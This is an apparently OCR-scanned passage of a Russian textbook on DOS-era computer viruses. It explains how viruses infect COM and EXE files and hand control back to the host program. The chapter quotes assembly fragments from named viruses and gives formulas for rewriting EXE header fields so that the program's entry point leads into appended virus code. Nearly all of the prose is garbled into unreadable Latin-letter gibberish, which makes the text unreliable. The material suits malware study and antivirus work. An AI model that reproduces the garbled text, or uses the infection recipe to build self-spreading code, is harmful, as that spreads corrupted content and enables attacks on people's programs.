UCIIOJIB3YETCSI B <OBEPJIEIHBIX» BUPYCAX: KOl OPUTUHAIBHOIM IIPOrPAMMbI
OKa3bIBAETCSI TIOCJIE KOJIa «3apasbly. OTindne ToJbKO B criocobe Bo3Bpara
yIIpaBJenust «<keprse» (cM. gasee). [IpumepaMu MOryT CAYKUTb MHOTO-
JrcIeHHbIe BUPYCHI u3 cemelicta Pixel (onu sxe Amstrad).

Criocob 3 («BbiTecHsoNMi» ). VI3 Hauaia OpUrnHAIbHOM IPOrpaMMbl
u3bIMaeTcs: GparMeHT, PABHbII 110 Pa3Mepy JJIMHEe BUPYCA, 1 IPUKPEILIs-
ercs K (hailry B KakoM-HUOYAb APyroM Mecte (Halpumep, B KoHile). Bu-
PYyC 3aMUchiBaeTCst B «0OCBOOOXKIEHHOE» MecTOo. Tak paboTaior, HarpuMmep,
npezcraBuTesu cemeiictBa Gergana.

"CraHgapTHblil"  "OepnenHbin"  Cnocob

cnocob cnocob "BblTECHEHKNSA"
JMP| | Bupyc | I Bupyc |
3apaxeHHas

nporpamma BapaxeHHas ...nporpamma

prcl 3apaxeHHas...

Puc. 3.3 « OcHoBHble cnocobbl 3apaxeHuns COM-nporpamm

Crocob 4 («cMmemmanHbiii» ). DakTuvaecKu UMEITCST B BULY BCE OCTaIIb-
HbIE CXEMBI BHEJ[PEHUSI BUPYCHOTO KOJIa B TEJIO IPOTpaMMbl. Bupycoru-
caTesio HUKOT/IA He OBLIO TPYAHO M300PECTH U PEeasn30BaTh BAPUAHTHI,
[IPelyCMATPUBAIOIIIE «IIEPEMEIBaHIe» (DPArMEHTOB «KEPTBLI» U BU-
pyca. TmaBroe TpeboBanue — 4T0ObI IIEepBasi KOMaH/[a IPUHAJJIEKATA BH-
pycy (XOTs1, Kak Mbl YBUJIUM JAJIbIle B pasjiesie « BUPyChl ¢ HeU3BeCTHOU
TOUKOMW BXOJIa», IasKe ¥ 9TO HeOOSA3aTeNbHO).

Hanpumep, knaccuyeckuii Bupyc Lehigh pasmeruan cebst B cepenune
(aitia «<COMMAND.COM», B 10BOJIbHO OOIIUPHOI «I1yCTO#i» 061aCTH,
coziepsKkalieil HyJjieBble OaiiThl.

A suamenutsiit OneHalf.3544 xotst 1 npunucsiBas cBoe anmdpoBaH-
HOE TeJIO K KOHILY hailyia, 3aT0 KOMAH/IbI IEKOIUPYIOIIETO MK OKa3bl-
BaJIUCh PACKUAHBI 110 (hailry B BUJE CIyIaliHBIM 0OPA30M PACTIONOKEH-
HBIX <OCTPOBKOB».
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3.3.2. Bo3Bpart ynpaBfieHUs1 «KepTBe»

Eciit BUpYC He <«IIepe3aliChiBAOIIHIT», TO OH J0JIKEH 00€CTIeYnTh HOP-
MaJIbHYI0 PabOTy 3apaskeHHOI UM IIPOTPaMMBbI, 4TOOBI T0JIb30BaTE/b HU-
4ero He 3a10/I03pHJI.

Nwmenno ¢dbparMentsl BUPyCa, OTBEYAIONIE 32 BO3BPAT YIIPABJIEHUS
«KepTBe», HEOOXOMMO B TIEPBYIO OUePe/lb U3YUaTh BUPYCOJIOTY, JIJISt TOTO
4ToOBI pazpaboTaTh AJITOPUTM <HUCIEJIEHUST> 3aPaskeHHOU TPOrPaMMBbL.
Beb oHE camut 110 cebe yiKe COMEPIKAT aJITOPUTM «UCTIETIEHIST».

[Mockoabky COM-niporpamma He UMeeT HUKAKOU BHYTPEHHEH CTPYK-
TYPBI, TO BUPYCY BIIOJIHE JOCTATOYHO BEPHYTH B IIaMATU BCE IIePEMEIICH-
HbIE (bpaI‘MeHTI)I B X I€pBOHAYAJIbHbIE TTO3UIINN, BOCCTAHOBUTDH MCXO/I-
Hble 3HAUEHUsI PETUCTPOB U Miepeath yrnpasienue Ha agapec 100h.

Bort HeckosbKo IpUMepPOB TOTO, KaK 9TO [IEJIAI0T BUPYChI, 3apasKalolue
«CTaHAPTHBIM» CITOCOOOM.

Bupyc IronMaiden.636:

mov ax,Savel[di] ; bante N1 u N2
mov  [00100h], ax

mov ah,Save2[di] ; banT N3

mov [00102h], ah

mov ax, 0100h

; BoccTaHoBneHue w3 cTeka perncTpos
pop di

pop si

pop dx

pop Cx

pop bx

pop es

popf

bgéh ax
retn
Bupyc AWME.1267:
mov  di, 100h
lea si,Save[bp]
mov  ¢x,3

cld
rep movsb

; 06HyneHve perucTpos
Xor  bx, bx
XOr  CX,CX
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xor dx, dx

xor di,di

xor si,si
BoccTaHoBeHWe CerMeHTOB

push cs

push cs

pop ds

pop es

mov ax, 100h

push ax

XOor  ax,ax

retn

CerMeHTHbIE PErMCTPbI U PErMCTPhI OOIIEro Ha3HAYEHUs [IPU CTapTe
COM-mporpamMm UMEIOT OTIpe/ieJIeHHbIe 3HAUCHUS:

DX=CS=DS=ES=SS — cermeHTHbI aipec BblJeJEHHOI obaacTu
namsaTu («6asbl»);

DI=SP = 0FFFELN, a B crexe Bcerga 0;

SI=IP = 100h;

AX=BX =0 uwmu 0FFh;

CX = pymna nporpammsr MOD 65535.

[Ipu Bo3BpaTe ympaBieHUsT «KePTBE» BUPYCHI JAJIEKO He BCer/ia BOC-
CTaHAB/IMBAIOT UCXOLHOE COAEPKUMOE PErMCTPOB OOIIEr0 Ha3HAYECHMUS.
Bo/bIMHCTBO 3apaskeHHbIX IIPOrPaMM Ha 9TO He 00pallaloT BHUMAHMUS,
HO HEKOTOPbIe MOTYT paboTaTh HeKoppekTHO. Cpenn BUpycoucaTeei
«YIOBJIETBOPUTEIBHBIM»> PEIICHUEM CUMTACTCS TPOCTOE OOHYICHHE DTHX
PETUCTPOB TIepei BO3BPATOM B OPUTHHAJIBHYIO porpammy. C 1pyToii cTo-
POHBI, HEKOTOPBIE «XUTPble» BUPYCHI CAMH MHOT/IA aKTUBHO NCITOTb3YIOT
«CTaHAapTHBIE» 3HAUEHUS PETUCTPOB /IS CBOUX 1eseli. Ecam mporpamMma
OKa’KeTCS TTOOUEPETHO 3apakeHa «XUTPBIM» U «JIEHUBBIM» BUPyCaMu, TO
KOPPEKTHO paboTaTh OHa He Oy/IeT.

Co0OCTBeHHO Tiepeiaua YIpaBJICHUST KOLY </KEPTBBI» MOKET OBITh
oopMiIeHa PA3IMIHBIMU CTIOCOOAMU: ¢ TIPUMEHEeHHeM KomaHa <«JMP»
BHYTPHUCETMEHTHOTO M MEKCETMEHTHOTO Tepexo/ioB, komau «RET» Bo3-
Bpara 13 «OJIMKHUX> U «ITaJbHUX> MPOIEAyp U Aake KoMauabl «IRET»
BO3BpaTa U3 00paboTUYMKa MPEPhIBaHUSA. PaccMOTPUM TIOYYUTETbHBIN
mpumep (Bupyc Chukcha.554).

000 O

sub bx, bx ; 06HyneHue peructpa BX
sub dx, dx ; 06HyneHue peructpa DX
mov ax, 0100 . BTankuBaHne B CTeK. ..
push ax ; ...CTapTOBOro ajgpeca

sub ax, ax 06HyneHue peructpa AX
lea di, [00100] ; CTapToBb afapec
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lea si, Program ; ADpec nNpuKpenneHHom “xepTsbl”

mov cx,VirlLen ; [nuHa kopa "xepTsbl”

repe  movsb ; KonupoBaHue Kkopa XepTBb B WCXOAHYI NO3MLMIO
retn ; lNepepnava ynpaBneHnst KoOAy XEPTBb

ITOT BUPYC PabOTAET 10 «OBEPIEHHOMY»> METO/LY, IPUKPEILIISIS <KEPT-
BY» K KOHILY BUpycHOTO haiia. [Tocsie BBITTOTHEH NS CBOUX «CYTIPYKECKUX
obs3anHocTeit» (To ectb mocse nonbitkn pasmuoskenus) Chukcha.554
KOITUPYET KOJI <XKEPTBBI» B «UCXOAHYIO MO3UIIHIO> U... [l03BOJIBTE, HO Ka-
KM 06pasoM TOT/Ia CMOKET BhIoAHUThC KoManaa « RETN», cosepinaro-
mast «ckadok» Ha agpec 100h, Benp oHa mpu sTOM KOMpOBaHUE OyIET
HEMUHYEMO YHUYTOXKeHA KOZIOM OPUTMHAJIBHOM 1TpOrpaMMbl?!

Hert, 510 ne ommmbka. J[es1o B TOM, YTO MJIaJIIIie MOLEIN IIPOLECCOPOB
dbupmbr Intel BBIMOTHSIOT KOMaH/IbI, M3BJIEKast KX U3 OTIEPATUBHO TTamsi-
TH He 110 OJIHOH, a rpyniaMu. IlepBoHayasbHO KOMaH/ bl OKa3bIBAIOTCS BO
BHYTpeHHEM Oydepe TpoIieccopa, B TaK Ha3bIBAEMOM KOHEelepe KOMAHO.
[lmuna atoro KoHBeliepa IIOCTEIIEHHO pocjia BMecTe ¢ HOMEPOM Bepcuu
rpoieccopa:

O 8086,/8088 — 4 bGaiira;

QO 80286 — 8 6aiiTos;

O 80386 — 16 GaiiTos...

TakvM 06pa3oM, MPU BBIMOJTHEHUH PACCMATPUBAEMOTO BUPYCHOTO
(bparmenTa «3aTUpaTMCh> KOMAH/IBI, €Ille HAXO/AIINEeCS B ONePaTUBHON
IIaMsITH, a BBIIIOJIHAJINICH — y’Ke OKa3aBIINecs B KOHBeliepe.

Ho u3 apxurextypbl mpoieccopos Tuia Pentium (u Gosee crapiimx
Mojiesieil) «KoHBeiiep KoMaH/[» ObLT HCKIoueH. Ha mpakTruke aTo 03Ha-
Yaert, YTO He TOJIbKO MHOTHE BUPYCBI, HO M ITIOYTH BCE CUCTEMBI 3AIIUTDLI OT
HECAHKITMOHUPOBAHHOTO KOMMMPOBAHWSI, HAITMCAHHBIE TIPUMEPHO 10 cepe-
nunbl 90-x rogoB XX Beka, akTyaJTbHOCTH MTOTEPSIIIH.

PasymeeTcst, KOHKPETHBIX CITOCOO0B BO3BPATa «JKEPTBE» YIPABJICHISI
MOYTH CTOJIBKO Ke, CKOJIBKO M caMMUX BUPYCOB. 11 He TOJIbKO paccMOTpeTh,
HO U JIasKe YIOMSIHYTh BCE 0COOEHHOCTH U «TOHKOCTH» OBIIIO OBl 3aTPY/I-
HUTEBHO. TeM He MeHee MOYTH BCe CTIOCOObI MOCTPOEHBI Ha OOIINX TPITH-
IUIIaX 1 PeajM30BaHbl [IPU TOMOIIX OTPAHMYEHHOTO KOJNYeCTBA KOMaH/I.
Hawubosee cuabHO CXOACTBO 3aMETHO MPU M3YYEHUH MHOTOUHCICHHBIX
U TIPUMUTHBHBIX CIMYOCHUECKUX BUPYCOB, CO3NAHHBIX HAYMHAIOTMMI BU-
pycomcarensiMiu. ITO 0OCTOATETBCTBO MOATOIKHYJIO Pa3pabOTUMKOB
antuBupyca DrWEB B 1998 1. k mombITKe HayIuThCS MCKaTh B KOAX
IporpamMMm TUIMYHbIe (hparMeHTbl, IpUHaJIeKale HOBBIM, elle Heus-
BectHbIM COM-BupycaM, aHaTU3UPOBATh UX U aBTOMATUYECKU YIAIATh
«3apa3sy» u3 mporpaMmbl. HaliieHnmbie TakiM 06pa3soM BUPYCHI Oy YT
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B repmutosiornn DrWEB o6iiee numst Ninnyish.Generic (auri. ninny —
JIyPavyoK, TPOCTOhUIIS ).

3ajlyMaHO OBLIIO XOPOIIIO, HO TPAKTUYECKAS PEATU3AIINST, KaK 3TO 00bIU-
HO BOJIUTCSI, OKA3aJIaCh HOCUTEJIEM Psijia TPYAHOYCTPAHUMBIX HEJIOCTAT-
KOB. [JTaBHBII HEZOCTATOK 3aKJII0YATICS B JIOKHBIX CpabaThIBAHUSAX aHTH-
BUPYCa Ha COBEPUIEHHO Ge300UIHBIX (hparMEHTaX BIOJHE «<HOPMAJbHBIX>
nporpamm. «JledeHne» TaKuX IIPOrpaMM MPUBOANIO K UX OE3HA/IEKHON
nopue. Bor npumep «MHUMOTO GOJIBHOTO

Start:
call Next
Next:
pop di
sub di, 3
lea di, Start[bx]
movsb
ret
End Start

ITpocytecTBOBAB APy JIET, PEKUM 0OHAPYIKEHUS 1 JIETEHUST «/Iypall-
K1X» BUpycoB 6bu1 us mporpammbl DrWEB yasen.

3.4. Bupycehl, 3apa)kaiowme
EXE-nporpammbl

.Anoxanunmuueckuil o6pas cyuecmea, Komo-
poe... Hecem 8 cebe HesedoMYI0 U ZPO3HYI0 NPO-
2pamMMy, U cmpauinee 6cezo0 mo, Umo OHO CAMO
HUuez0 He 3Haem 00 MO NPOZPAMME...

A.u B. Crpyrankue. «<JKyk B MypaBeiiHnKe»

EXE-dopmar ucnonaumbix ¢aitnos 611 pazpaboran pupmoit Microsoft
B Hauasie 80-x rogoB XX Beka U IpeaHasHauajcs I «O0JIbIINX> TPOo-
TpaMM, He yMelaBimuxcst B Techbie pamkn 64 K6. dto — de facto u de
jure — ocHOBHOM (hopmaT rporpamm 71t MS-DOS.

ITporpammuct, pazpabatsiBatorinii EX E-iporpamMmy, MokeT 00paTHTh-
st K Jir000ii, CKOJIb YTOAHO «Iajekoi» (pasymeercst, B npeaeiax 1 Mo6)
s9elike maMsTH TPUMEPHO TaK:

LOC dw ?
mov ds, seg LOC

mov si, offset LOC
mov ds:[si], 1234h
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Kommnusitop, Berpetus kioueBoe cjioBo «SEG», ocTaBUT KOHKpPET-
HOE YMCJI0BOE 3HaYeHre BHYTPHU Koga MHCTpyKinu «MOVs mycTbiM, HO
KOMIIOHOBIIUK COXPAHUT ITY TIO3UIMIO B CHIENUAIBHON mabiuye nepe-
mewaemovix ceotiox (Relocation Table) EXE-daiiia. B Mmoment 3arpys-
ku EXE-nporpamMMbl oriepaliioHHast CUCTeMa [IPOCKAHUPYyeT TabJIuIy 1
3aI0JTHUT BCE TaKWe <IIyCTble MeCTa» KOHKPETHBIMU 3HAYEHUSIMU CeT-
MEHTHBIX aJIPECOB, 3aBUCAIIMMHU OT MECTOPACIIOJIOXKEHUS MTPOrpaMMbl
B namsiTi. KOHKPETHO: TPUOABUT K «ITyCTOMY MECTY» YUCIOBOE 3HAUECHIE
«6asbl» — CErMEHTHOTO a/ipeca 00IACTH MaMSTH, TIPEAHA3HAYCHHOTO JIJIst
KOZIa U JIaHHbIX nporpaMMet’. [Ipu pacyerax mMecTonosokeHms: u3MeHsie-
MBIX g4YeeK MMaM4TH CJeAyeT UMeTb B BUJLY, UTO, Kak U B ciaydae ¢ COM-
nporpamMamu, nepsbie 100h GaiiTo 21Ol 06IacTH HMAMATH 3aHUMAET
npedrKe MPOrpaMMHOTO CEMMEHTa; TAKMM 0OPa30M, CErMEHTHBIN apec
«6a3bl» TOKIECTBEH cerMeHTHOMY azipecy PSP.
Jpyroii ocobennocTbio EXE-11porpaMm siBjisieTcst To, 4T0 Cpasy mociie
sarpysku cermentnbie peructpsl ES, DS, SS u CS umelor B 061meM ciryyae
pasHble 3HaYeHUs, 1, CIe/I0BATEIbHO, TaHHbIe, UCIIOJHAEMBIN KO/l U CTEK
MOTYT PacIoJaraThcst B abCOMIOTHO Pa3HBIX CETMEHTAX.
Bor nouemy daitnbl, cogepskaniue EXE-1iporpammebl, 00/1a1aioT ompe-
JleJIEHHOW BHYTPEeHHel CTPYKTYPOH U cojiepsKart:
O cnenmanbHBI  3aroJIOBOK, omnuchiBaomuii  napamerpsl  EXE-
[IPOrpaMMBbl;

O pasMellleHHYI0 Cpa3y IOCJIE 3ar0JIOBKa TaOJUILY IEpeMENaeMbIX
CCBLJIOK;

O pacrioiokeHHble ocse TabJUIbI TIPOrPAMMHBIN KO/l U JIaHHbIE
(mvckoBbIil 06pa3 3agaun).

Crpykrypa 3aroyioBka pazpaboTana jiBa ¢ MOJOBUHOI JIeCATKa JIeT Ha-
3a/ nmporpammucTom 13 Microsoft MapkoM 30bIKOBCKU, KOTOPbII He T10-
CTECHSAJICS YBEKOBEUYUTH CBOE UM MPU TIOMOIIM COOCTBEHHBIX MHHI[MA-
J0B — «MZ». Bor ona (Ha3Banus IoJieil aioTcs 10 TUIMEPTEKCTOBOMY
cupasounuky «Tech Help»):

ExeHead dw 5A4Dh ; +00 "MZ' - curHaTypa EXE-3aronoska

PartPag dw ? ; +02 Kon-Bo 6aiToB B nocneaHem 512-6aiTHuke EXE-¢aiina
PageCnt dw ? ; +04 Kon-Bo 512-6aitTHukoB B EXE-daiine

ReloCnt dw ? ; +06 Yucno anemeHToB B Relocation table

HdrSize dw ? ; +08 CymmapHaga AnuHa B 16-06aiTHMKAX 3arofnoBka M Tabnubl
MinMem dw ? ;. +0A MuHuManbHoe kon-Bo 16-6ailTHMKOB Tpebyemoi namaTn
MaxMem dw ? ; +0C MakcumanbHoe kon-so 16-0aiTHWKOB Tpebyemoin namaTu

! TIpuHIUTT HACTPONKHM TPOTPAMMHOTO KOJIA B ITPOIIECCE UJIN TTOCJIE 3arPy3KH €ro

B IIAMSITh II0-aHIJIMHACKN HasbiBaeTcs «fix up».
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ReloSS  dw ? ; +0E Cmew. B 16-6aliTHMKAX CTEKOBOIO CErMeHTa OTHOCUT-HO ~6assl’”
ExeSp dw ? ; +10 3HadeHue ykasaTens cTeka SP npu cTapTe Nporpammsl

ChkSum  dw ? ; +12 KoHTposnbHas cymma 6aiToB nporpammsl (He MCNONb3yeTcs )
ExeIP dw ? ; +14 Cmewenve CTapTOBOW KOMaHAb Mporpammel 0THOCUTENbHO CS
ReloCS dw ? ; +16 Cmew. B 16-0aliTHMKAX KOLOBOrO CErMeHTa OTHOCUTENbHO “0a3bl’”
TablOff dw ? ; +18 Appec B darine Relocation Table

OvnNum dw ?

+1A Homep osepnes (0 Ans KOPHEBOrO CerMeHTa)

Relocation Table npexcrasisger co6oit MHOKecTBO 1ap 16-GUTOBBIX
CJIOB, TJI€ KaXkK/I0€ [IePBOE CJI0BO (HEYETHOE) COEPIKUT CMEIleHNe BHYTPH
CerMenTa IepeMeniaeMoil CChIIKH, a Kak/[0e BTOpoe (4eTHOoe) — cMelile-
HIE CErMEHTa MePeMeIaeMoil CChUTKM OTHOCUTETBHO «Oa3bls.

[Mocie 3arpy3Ku POrpaMMBI B TIaMSTh 06pa3 3a/1a4i pasMeIaeTcs, Ha-
unHast co cmerterust 100h otHOCHTENBEHO «6a3bi», HO HU 3aTOJIOBOK, HU
TabJIUIA IEPEMEIAEMBIX CCBITIOK B TAMSATH YK€ He TPUCYTCTBYIOT.

WHTepecHo 1 BaxkHO, uTO Bee (dailibl Windows-1iporpaMm ToKe Ha-
YMHAIOTCS € 9TOTO 3aroyioBka. [IpaBjia, UX CTPYKTypa ropasjo CJI0XKHEN,
KpoMe MZ-3aroyioBka, IMEIOTCS U JIPYTUe 3aTOJIOBKH, U MOApoOHEe BCe
9TO By/IeT PACCMOTPEHO B COOTBETCTBYIOTIEH TIaBe.

3.4.1. «CtaHpapTHbI» MeTofA, 3apaXeHus

Mecromnonoxkenue TOYKM BXOZa B IPOrpaMMy ONpeIesadercd Tapoii
«ReloCS:ExelP» noueii saronoska EXE-daiina. Dakruyecku sHadenue
noJist «ReloCS» pacemarpuBaeTcst oneparMoOHHON CUCTEMON Kak cMelie-
HIE KOJIOBOTO CErMeHTa MPOrpaMMbl, uamepsieMoe B 16-6ailTHBIX mapa-
rpadax, oTHoCUTeNbHO «0asbl». A sHadenue noss <ExelP» — GaiitoBoe
cMellleHre TOYKY BXO/1a OT Hayajia 3TOTO KOIOBOTO CETMEHTA.

Bupyconucarensam npu 3apakenun EXE-iporpamMm npuxoauTcs BuU-
JIOU3MeHATH (MpeaBapuTeIbHO cOXpaHuB) 3HaueHus nojeit «ReloCS» u
«ExelP» Tak, 4To6bl OHU yKa3bIBaJIM HA HEKYIO KOMAaH/y BHYTPH BUPY-
ca, npunucannoro kK kouity EXE-daiina. [Tycts Len — ato gmuna EXE-
aiina no 3apaskenus, a Delta — cMenenue nepBoii KOMaHbl BHYTPU BU-
pyca (06bruno Delta=0). Torma nosbie snadenust noseii ReloCS u ExelP
MOTYT GBITh BHIYHUCIICHDI, HATIPUMED, CIIEAYIONNM 06pasoM:

ReloCS = (Len — HdrSizex16)/16;
Exelp = (Len — HdrSizex16)%16 + Delta.

[Tocre 3apaskenust TporpaMMBbl TIOJIHAS JIJINHA ee (aiiyia yBeJInunBaeT-
¢ Ha JUIHHY BHUpyca. ITOT (aKT TaksKe HEOOXOAUMO OTPA3UTh B MOJISIX
sarosioBka. ITycts VirLen — ajina Kojia Bupyca B Gaiitax, Toraa

PartPag = (Len + VirLen)%512;
PageCnt = (Len + VirLen)/512 + 1.
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ITockonbky «PageCnt» — 210 KOIM4ecTBO 512-0aliTOBBIX CTPAHMIL
B (paiise, TO npubaBIEHNE eIMHULBI He MOTPEOYETCs B OLHOM-€INHCTBEH-
HOM cJly4ae — KOT/la OCTATOK OT JleJIEHUsI PABeH HYJTIO.

DBriBaet, 4To MecTo 11071 CTEK OKa3bIBaeTCsl OTBe/leHHbIM B KoHIle EXE-
nporpaMMbL. IT06bI N30€KaTh HATOKEHNS KOJA BIPYCa Ha 00JIaCTh CTEKA,
BUPYCOIUCATEITh MOJKET «OTO/IBUHYTh CTEKOBbIN CEIMEHT:

ReloSS = ReloSS + VirLen/16.

[Tepen aBTOpoMm «ctangapTHOrO» EXE-Bupyca nmpu agpecarum k mepe-
MEHHBIM B [AMSITH YaCTO BCTAIOT IPUMEPHO TaKKe e MPOOJIEeMbl, 4TO U
repes; aBTopoM «cTtangaptaoro» COM-supyca. [loatomy Hepeako mep-
BBIMU UCIIOJHUMBIMI KOMAaH/IAMU TO-TIPESKHEMY SIBJISTIOTCS] 3HAMEHUTBIE
«CALL $+3» u «<POP <Peructp>», BbIYNCIISIONINE «/I€TBTa-CMEIIEHUES .
Taxxe nmg EXE-BupycoB xapakTepHa azpecanusi ¢ ykazdanuem «CS:»
B KauecTBe pedhrKca mepeHa3HaueHNsT CeTMEHTOB.

BbIToTHUB cBOM «3JIOBPEIHBIEY JICHCTBUSI, BUPYC JIOJIKEH BEPHYTH
yIIpaBJieHre KOJY «KePTBbI». 3Hasl CETMEHTHBIN ajipec «6asbl» (OH Mpu
crapre MporpaMMbl XpanuTes B peructpax ES u DS mubo goctyneH npu
nomoru yukin 62h npepeiBanus 21h), Bupyc npubasiser K HeMy
pasmep PSP (B 16-6aiiTHrKax) 1 «cTapoe» sHaueHue «ReloCS», mosyuas
KOJIOBBIIT cerMeHT. CMelleHne TOUYKU BX0/1a BHYTPH KOJIOBOTO CETMEHTa —
aTO «cTapoe» 3Hauenne «ExelP». OcTaeTcs TOIbKO BBITIOTHUTD HATbHUH
Tepexo/i o pacCYNTAaHHOMY ajipecy. BoT HeCKOJIbKO TTPUMEPOB.

Bupyc Yankee.2C.2885:

mov dx, ds

add dx, 10
add dx, cs:ReloCS
push  dx

push  cs:ExelP
retf
Bupyc SVC.3103:

mov bx,es

add bx, 10

add bx, cs:ReloCS[si]
mov ©s:SSS[si], bx
mov bx, cs:ExeIP[si]
mov ¢s:000, bx

db OEAh ; jmp S§S8S:000
000 dw ?
888 dw ?
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Anroputrm 3apaxkenust EXE-niporpamMm, ocHOBaHHBIN HA 9TUX TPUH-
numnax v GopmyJiax, UCIOJIb3yeTCsd OYeHb YacTO M CYUTACTCH «CTaHIAPT-
HBIM>.

EXE-nporpamMmmbl, KOTOpbIE COjlepKAT B CBOUX (paiijiaX «BHYTPEHHME>
oBepJier, Oyyuu 3apaskeHbl MOA0OHBIMI BUPYCAMH, 4acTO paboTaioT He-
KOPPEKTHO WJIN COBCEM He paboTatot. Takue mporpaMMbl MOJTYYA0TCS, Ha-
[IPUMEP, B pe3yJibraTe paboThl OTYJIAPHON CUCTEMBI TIPOTPAMMUPOBAHUS
CYB/I Clipper. XapakTepHbIM IIPU3HAKOM IIPOIPAMM CO «BHYTPEHHUMI»
OBepJIesIMU SIBJISICTCS HECOOTBETCTBHE PEeasbHOM JUIMHBI (pailia u IJIMHBI,
paccuMTaHHol 110 3HaueHusIM 1toJieit « PartPags n «PageCnts. «Xopoium
TOHOM» CPe/li BUPYyCOIHcaTesell CHuTaioTcd Halndue B BUpyce IPOBEPKN
Ha «OBEPJIEHOCTb> U OTKA3 OT 3apPaKEHUsI TIOI0OHBIX TIPOTPAMM.

3.4.2. 3apaxeHue B cepeauHy ¢daina

OpHuMm us perreHnii mpobsieMbt «oBepaieiiibixy EXE-nporpamu siBJisteTCst
oMeleHre BUpyca B cepeinny haiijia — B IPOCTPAHCTBO MEXKIY 3aro-
JIOBKOM (BKJIIOUAIONIUM B JlaHHOM ciiydae u Relocation Table) u o6pasom
3azaun. /11 9TOr0 BUPYC MOJKEH:
O «pa3nBUHYTH» (hailsl, pa3MeCTUBIINCH CPa3y IOCJe 3aroJOBKa U
MIPUITMCAB OCTATOK IMMPOTPAMMBI K KOHILY (haiijia;
O BUIOM3MEHUTH, KAK M B CJydae «CTaHIAPTHOTO» METOJA 3apaske-
HUsE, TPpeOyeMbIe TIOJIsI B 3aT0JIOBKE;
O «mepecunrarb» Relocation table ¢ yuerom Toro, uto Ko mporpam-
MbI CABUHYJICA U BCE€ CChIJIKN «ITOTLJIBLII» .
HeBoopy:keHHBIM TJIa30M BUIHO, YTO METO][ 3aPaKEHUS B CEPeIUHY
baitra ropaszio ciokHee «CTaHAAPTHOTO> MeToa. BOT 1moueMy BUPYCOB,

3noposas 3apaeHHas
nporpaMmma nporpamma

|3aronosor< || 3aronosok |
I Bupyc |

Kon, naHHble
N CTEK

Kon, naHHble
N CTeK

Puc. 3.4 < 3apaxeHue
EXE-nporpammesl B cepefnny
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3apaxkaonmx B cepefuny daiia, OTHOCUTENLHO HEeMHOro. B kauectse
rpuMepa MOKHO IIPUBECTH TIPe/ICTaBUTEIell HEMHOTOYMCJIEHHOTO, COCTOS-
II[ETO BCETO M3 JIByX BUPYCOB, ceMeiicTBa Voronezh.

Kerartu, ynanars u3 daiisia Takoro pojia BUpyC He MeHee <IIPOTHBHOY,
4eM BHEJIPSITH!

3.4.3. 3apaxeHue B Hayano daina

He cnemyer mymath, 4TO «3apaskeHues POTPaMM — IIPUBUJIETHSI BUPYCOB.
CyrmecTByet GOJIBIITOE KOJINYECTBO 3a/1a4, PEIIAEMBIX MTPU MTOMOTIH BHE/(-
pEeHMS «IIOCTOPOHHETO» KOJIa B «<MUPHYIO» 1porpammy. Hanpumep, atum
[IPUEMOM TI0JIb3YIOTCSI Pa3pabOTUNKU «HABECHBIX» 3alllUT OT HECAHKI[H-
onuposannoro konuposanus (Nota, Cerberus u npoune). Kog sammro
110 BUPYCHOMY IIPUHIIMITY BHE/PSIETCS B II0JIb30BATEILCKYIO IPOrPAMMY,
[IEPBBIM TIOJIyYaeT yIPABJIEHUE, BHIIOTHSIET PA3HOOOPA3HbIe TPOBEPKH U
JIUNIH TIPUA YCHETTHOM TIOATBEP;KIECHUN JIETAThHOCTH MPOrPAMMHON KO-
U TiepesiaeT et yrnpasienne. OTJNYMe OT «HACTOSIET0» BUPYCA OJTHO —
KOJL 3alUThl He YMeeT CaMOPa3MHOXKATbCS, a «3apaskeHues IPOUCXOUT
C BeJIOMa BJIAJIeJIbIIa TIPOTPAMMBI.

Kak mpaBuiio, OHIUM U3 BasKHEUTINX TPeOGOBAHUIT K TAKOTO POJIA <TICEB-
JOBUPYCaM» SIBJISIIOTCSI UX HAJEKHOCTD, CIIOCOOHOCTh KOPPEKTHO BHE/I-
PATLCS B caMble PazHOOOpasHble MPOrpaMMbl. BUIMMO, 9TO BO3MOKHO
JIMIIb B TOM CJIy4ae, KOTja 3apakaeMas porpaMma TpeiCcTaBisieT coboi
BHYTPEHHUI WJIM BHENIHWH OBepJiei, a KOPHEBOW cerMeHT (BUpYC WU
<TICEBJIOBUPYC» ) HE TIOJb3YETCs MTATHBIMEU CPEJICTBAMK OTI€PAITMOHHOM
CUCTEMBI JIJIS 3arPY3KU U 3allyCKa 3TON IIPOTPAMMBI, HO BBIIIOJIHAIET 9TY
OIIePAIHIO OJHOCTBIO CAMOCTOSITEIIBHO.

3apa3uTh MPOrpaMMy IO 3TOMY METOy KpaifHe MpOCTO, B TOYHOCTH
TaK JKe, Kak ObLI0 OMUCAHO B Pas/esie, MOCBSIIEHHOM «OBEPJICHHBIMY BH-
pycam. Ho BoT Bo3Bpar ynpasiieHust B IpOrpaMMy MPOUCXOJIHT, B 06IIeM
cJIyvae, HeTPUBUAJIBHO:

QO BbiengroTCH (HDparMeHThbl ONEPATUBHON MAMATH JIJIA 3arPy3KH Cca-
MO TIPOrpaMMbl U JIJIS PasMEIeHHUs ee CPeibl, 160 BUPYC OCBO-
GOJKIAET JIJIst HTON 1EJU CBOM COOCTBEHHbBIE (PParMeHTHI MaMSITH,
nepeMenasgach B [pyroe MecTo;

O xoj mporpaMMbl (IMEETCST B BUJLY «UUCTBIA» KO/, €3 3aroJIoBKa U
Relocation Table) sarpyskaercst B Hy;KHYIO TIO3UIIIIO OTEPATHBHON
naMaTu — cpasy nocie PSP;

O cxanupyercsa Relocation Table u nacrpansaioTcs nepemeniaembie
CCBLJIKH B TIPOTPAMME;
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QO  cooTBeTCTBYIONMM 00PA30M UHUIUATU3UPYIOTCST BCE CETMEHTHbIE
PETUCTPBI U PETUCTPBI OOIIETO HA3HAYEHUST;

Q ympasJieHue nepeaeTca Ha TOUKY BXO/IA IPOTPAMMBI.

DaxTryecky BUPYC BBINOJIHIET IIPU 9TOM POJIb CUCTEMHOTO 3arpys-
YUKa.

B «1iceBnoBupycax» 3apakenue 10 JaHHOMY aJITOPUTMY, Kak IIPaBUJIO,
COYETAETCS CO CJIOKHOU Mu(POBKON Kojia IporpaMMbl. B aToMm ciyuae
VIQIUTH «IIOCTOPOHHUIT» KOJ[ 9JIEMEHTAPHO, OCHOBHAsI JKe TpobJieMa co-
CTOUT B BOCCTaHOBJIeHUU (paiiia 3apaskeHHOI TPOTPAMMBI B UCXOJHOM
BU/IC.

«Hacrosiimues BUPYCHI PEAKO UCIIOIB3YIOT MOAOOHYIO CJIOKHYIO TEX-
HUKY, HO HHOT/Ia <3TO» cjlydaeTcs. B kauecTBe ipuMepa MOXKHO IPUBECTH
